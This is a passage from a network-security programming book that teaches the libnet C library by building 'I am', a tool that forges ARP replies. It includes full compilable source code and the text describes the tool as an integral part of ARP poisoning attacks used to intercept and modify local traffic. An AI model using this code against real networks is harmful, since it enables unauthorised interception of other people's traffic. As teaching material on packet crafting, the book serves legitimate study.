11.2. Getting Started with libnetWhen using libnet it is important to remember that packets are encapsulated at a lower level by yet another type of packet, as illustrated in Figure 11-2. This is important because libnet requires that each encapsulating packet is created, in order, from the highest-level protocol to the lowest-level protocol. Figure 11-2. Protocol encapsulation exampleAlthough the libnet library provides you with granular access to network packet creation at each level of the protocol stack, sometimes you don't need total control over the packet-creation process. libnet handles such instances in two ways: it creates packets at one of the LIBNET_RAW injection types, and it uses the libnet_autobuild_*( ) functions supplied for common protocols. libnet supports two types of packet injection: injection at the link layer (LIBNET_LINK, etc.), and injection at the Internet layer (LIBNET_RAW4, etc.). The complete list of supported injection types is provided in Table 11-1. If you require total control over the link layer network packet, you have little choice but to use a link layer injection type. However, if the tool will be creating packets at the Internet layer (or higher), you can use the Internet layer injection type. This injection type leverages the operating system to actually send the packet, and as such, you don't have to worry about correctly framing the Ethernet packet or looking up Ethernet MAC addresses or similar low-level requirements. In fact, when using the LIBNET_RAW injection types, you do not need to create the link layer packet at all, as this task is performed by the operating system, and the packet is routed on the correct interface for the IP addresses used at the Internet layer.
Another option is to use the libnet_autobuild_*( ) functions provided for common protocols. These allow you to specify only the minimum required parameters for the packet, with the remaining pieces of data going into the packet header being determined by libnet. 11.2.1. Writing the I am ToolNow we can create our first tool using libnet. To provide an introduction to libnet, we are going to demonstrate how to write a simple tool for automating a network security attack known as Address Resolution Protocol (ARP) poisoning. This tool, called I am, sends ARP Reply packets to locally networked hosts claiming to be the host at a certain IP address. This is an integral part of an ARP poisoning attack, in that it can allow an attacker on a local network to redirect traffic through the host, and therefore intercept, modify, or observe traffic flowing on the network. The I am tool, like most libnet tools, has functionality that can be categorized into the following areas:
11.2.2. Initializing the Sessionlibnet enables you to build arbitrary network packets using three main concepts: contexts, protocol blocks, and protocol tags. A context is an opaque handle used to maintain the session state for building the complete packet. A context is referred to by a variable of type libnet_t. A protocol block is the libnet internal data built for each network layer you have created. You refer to these via protocol tags of type libnet_ptag_t. As when using libpcap, you should never need to know precisely what is in either the libnet context or the protocol blocks. When the packet is sent, the libnet_t context is provided, libnet creates the packet from the protocol blocks created, and the packet is sent. Therefore, the first thing our libnet tool requires is a libnet context of type libnet_t. We create a context using the libnet_init( ) function, which has the following prototype: libnet_t *libnet_init (int injection_type, char *device, char *err_buf) The example program uses this function to open its session, as shown in Example 11-1. Example 11-1. Using libnet_init( )#include <libnet.h> libnet_t *l; /* libnet context */ char errbuf[LIBNET_ERRBUF_SIZE]; /* error messages */ /* open handle */ l = libnet_init (LIBNET_LINK, device, errbuf); if (l == NULL) { fprintf (stderr, "Error opening context: %s", errbuf); exit (1); } Because the I am tool is creating ARP packets, and because ARP is a link layer protocol, we cannot use one of the LIBNET_RAW injection types for this tool, so we use LIBNET_LINK. To use the libnet functions we are including the libnet include file libnet.h. The LIBNET_ERRBUF_SIZE value is defined in libnet-macros.h, which is included in libnet.h. The values of the parameters passed to libnet_init( ) are outlined in Table 11-2. libnet_init( ) returns a libnet context on success, or NULL on failure with a human-readable error contained in errbuf.
11.2.3. Building the Protocol BlocksOnce we have created a libnet context, we can start building the protocol blocks to be sent. Remember that we must create the protocol blocks in order, from the highest-level protocol to the lowest-level protocol we are required to build. Because we are using the LIBNET_LINK injection type, we are required to create the link layer packet as well as any higher-level packets. Therefore, we need to start by creating the ARP packet header, as shown in Example 11-2. Example 11-2. Creating the ARP headerin_addr_t ipaddr; /* source ip address */ in_addr_t destaddr; /* destination ip address */ u_int8_t *macaddr; /* destination mac address */ struct libnet_ether_addr *hwaddr; /* source MAC address */ libnet_ptag_t arp = 0; /* ARP protocol tag */ /* get the hardware address for the card we are using */ hwaddr = libnet_get_hwaddr (l); /* build the ARP header */ arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */ (u_int8_t *) hwaddr, /* source hardware addr */ (u_int8_t *) &ipaddr, /* source protocol addr */ macaddr, /* target hardware addr */ (u_int8_t *) &destaddr, /* target protocol addr */ l); /* libnet context */ if (arp == -1) { fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l)); exit (1); } Example 11-2 uses the libnet_autobuild_arp() function, which has the following prototype: libnet_ptag_t libnet_autobuild_arp (u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, libnet_t *l) The build and autobuild functions libnet provides have similar parameters. The autobuild (libnet_autobuild_*( )) functions build a packet with the minimum required user input. libnet automatically fills in the appropriate default values. The build functions (libnet_build_*()) require that you specify the values for all the headers and options a packet can take; however, these functions also edit an existing protocol block if necessary. As we are creating a new protocol block for the ARP packet, and we do not need to specify all details for the packet, we can use the libnet_autobuild_arp() function, providing the source and destination hardware and protocol addresses for the packet. As for all the build and autobuild functions, this function returns a protocol tag value of type libnet_ptag_t. This value is set to -1 if an error occurred, in which case you can use the libnet_geterror() function to determine what went wrong via a human-readable error message. All build and autobuild functions require the libnet context to be passed as a parameter, but the libnet_build_*( ) functions require you to pass a protocol tag to the function. This is 0 if a new protocol block is to be created, and it is a libnet_ptag_t value if an existing packet is to be modified. This is demonstrated in Example 11-3, where we supply the last parameter (the protocol tag parameter) as 0. Once we have built the higher-level ARP packet header, we can build the Ethernet packet header, also shown in Example 11-3. Example 11-3. Creating the Ethernet headerlibet_ptag_t eth = 0; /* Ethernet protocol tag */ /* build the ethernet header */ eth = libnet_build_ethernet (macaddr, /* destination address */ (u_int8_t *) hwaddr, /* source address */ ETHERTYPE_ARP, /* type of encasulated packet */ NULL, /* pointer to payload */ 0, /* size of payload */ l, /* libnet context */ 0); /* libnet protocol tag */ if (eth == -1) { fprintf (stderr, "Unable to build Ethernet header: %s\n", libnet_geterror (l)); exit (1); } As before, the build function returns -1 on error, and you can determine the reason for the error using libnet_geterror(). For demonstration purposes Example 11-3 uses the libnet_build_ethernet() function instead of the libnet_autobuild_ethernet() function (see Example 11-4). Example 11-4. libnet_autobuild_ethernet( )versus libnet_build_ethernet( )libnet_ptag_t libnet_autobuild_ethernet (u_int8_t *dst, u_int16_t type, libnet_t *l) libnet_ptag_t libnet_build_ethernet (u_int8_t *dst, u_int8_t *src,u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) The libnet_build_ethernet( ) function allows you to perform such tasks as spoofing the source Ethernet MAC address and editing the existing protocol block. This is an example of the granular control you can have with the libnet library. 11.2.4. Sending the PacketOnce we have assembled our protocol blocks, in order from highest-level protocol to lowest-level protocol, we can write this packet to the network. We do this using libnet_write( ), as shown in Example 11-5. Example 11-5. Writing the packet/* write the packet */ if ((libnet_write (l)) == -1) { fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l)); exit (1); } The libnet_write( ) function causes libnet to assemble the packet from the protocol blocks. Then this is sent on the network, either to the IP address supplied for an injection at the LIBNET_RAW level, or to the network hardware address if the injection is at the LIBNET_LINK layer. 11.2.5. Cleaning UpOnce we have sent our packet, we should free the memory associated with the functions the libnet library has allocated. We do this using the libnet_destroy() function, supplied with a libnet context as a parameter, as shown in here: /* exit cleanly */ libnet_destroy (l); return 0; 11.2.6. The I am Tool Source CodeExample 11-6 shows the full source code to the I am tool. It should compile on most Linux distributions as follows: gcc -o iam iam.c -ln If that does not work, libnet provides a tool called libnet-config that contains definitions and library references that might be required for your libnet installation. You can use this with back quotes as follows: gcc -o iam iam.c `libnet-config -defines` \ `libnet-config -libs` `libnet-config -cflags` This tool was written on Gentoo Linux. It should work on most Linux installations; however, some tweaking might be necessary to get this working on other Unix and Unix-like environments. Example 11-6. Source code to the I am tool#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <libnet.h> /* usage */ void usage (char *name) { printf ("%s - Send arbitrary ARP replies\n", name); printf ("Usage: %s [-i interface] -s ip_address -t dest_ip\n", name); printf (" -i interface to send on\n"); printf (" -s IP address we are claiming to be\n"); printf (" -t IP address of recipient\n"); printf (" -m Ethernet MAC address of recipient\n"); exit (1); } int main (int argc, char *argv[]) { char *device = NULL; /* network device */ char o; /* for option processing */ in_addr_t ipaddr; /* claimed ip address */ in_addr_t destaddr; /* destination ip address */ u_int8_t *macaddr; /* destination mac address */ libnet_t *l; /* libnet context */ libnet_ptag_t arp = 0, eth = 0; /* libnet protocol blocks */ struct libnet_ether_addr *hwaddr; /* ethernet MAC address */ char errbuf[LIBNET_ERRBUF_SIZE]; /* error messages */ int r; /* generic return value */ if (argc < 3) usage (argv[0]); while ((o = getopt (argc, argv, "i:t:s:m:")) > 0) { switch (o) { case 'i': device = optarg; break; case 's': if ((ipaddr = inet_addr (optarg)) == -1) { fprintf (stderr, "Invalid claimed IP address\n"); usage (argv[0]); } break; case 't': if ((destaddr = inet_addr (optarg)) == -1) { fprintf (stderr, "Invalid destination IP address\n"); usage (argv[0]); } break; case 'm': if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL) { fprintf (stderr, "Error on MAC address\n"); usage (argv[0]); } break; default: usage (argv[0]); break; } } /* open context */ l = libnet_init (LIBNET_LINK, device, errbuf); if (l == NULL) { fprintf (stderr, "Error opening context: %s", errbuf); exit (1); } /* get the hardware address for the card we are using */ hwaddr = libnet_get_hwaddr (l); /* build the ARP header */ arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */ (u_int8_t *) hwaddr, /* source hardware addr */ (u_int8_t *) &ipaddr, /* source protocol addr */ macaddr, /* target hardware addr */ (u_int8_t *) &destaddr, /* target protocol addr */ l); /* libnet context */ if (arp == -1) { fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l)); exit (1); } /* build the ethernet header */ eth = libnet_build_ethernet (macaddr, /* destination address */ (u_int8_t *) hwaddr, /* source address */ ETHERTYPE_ARP, /* type of encasulated packet */ NULL, /* pointer to payload */ 0, /* size of payload */ l, /* libnet context */ 0); /* libnet protocol tag */ if (eth == -1) { fprintf (stderr, "Unable to build Ethernet header: %s\n", libnet_geterror (l)); exit (1); } /* write the packet */ if ((libnet_write (l)) == -1) { fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l)); exit (1); } /* exit cleanly */ libnet_destroy (l); return 0; } |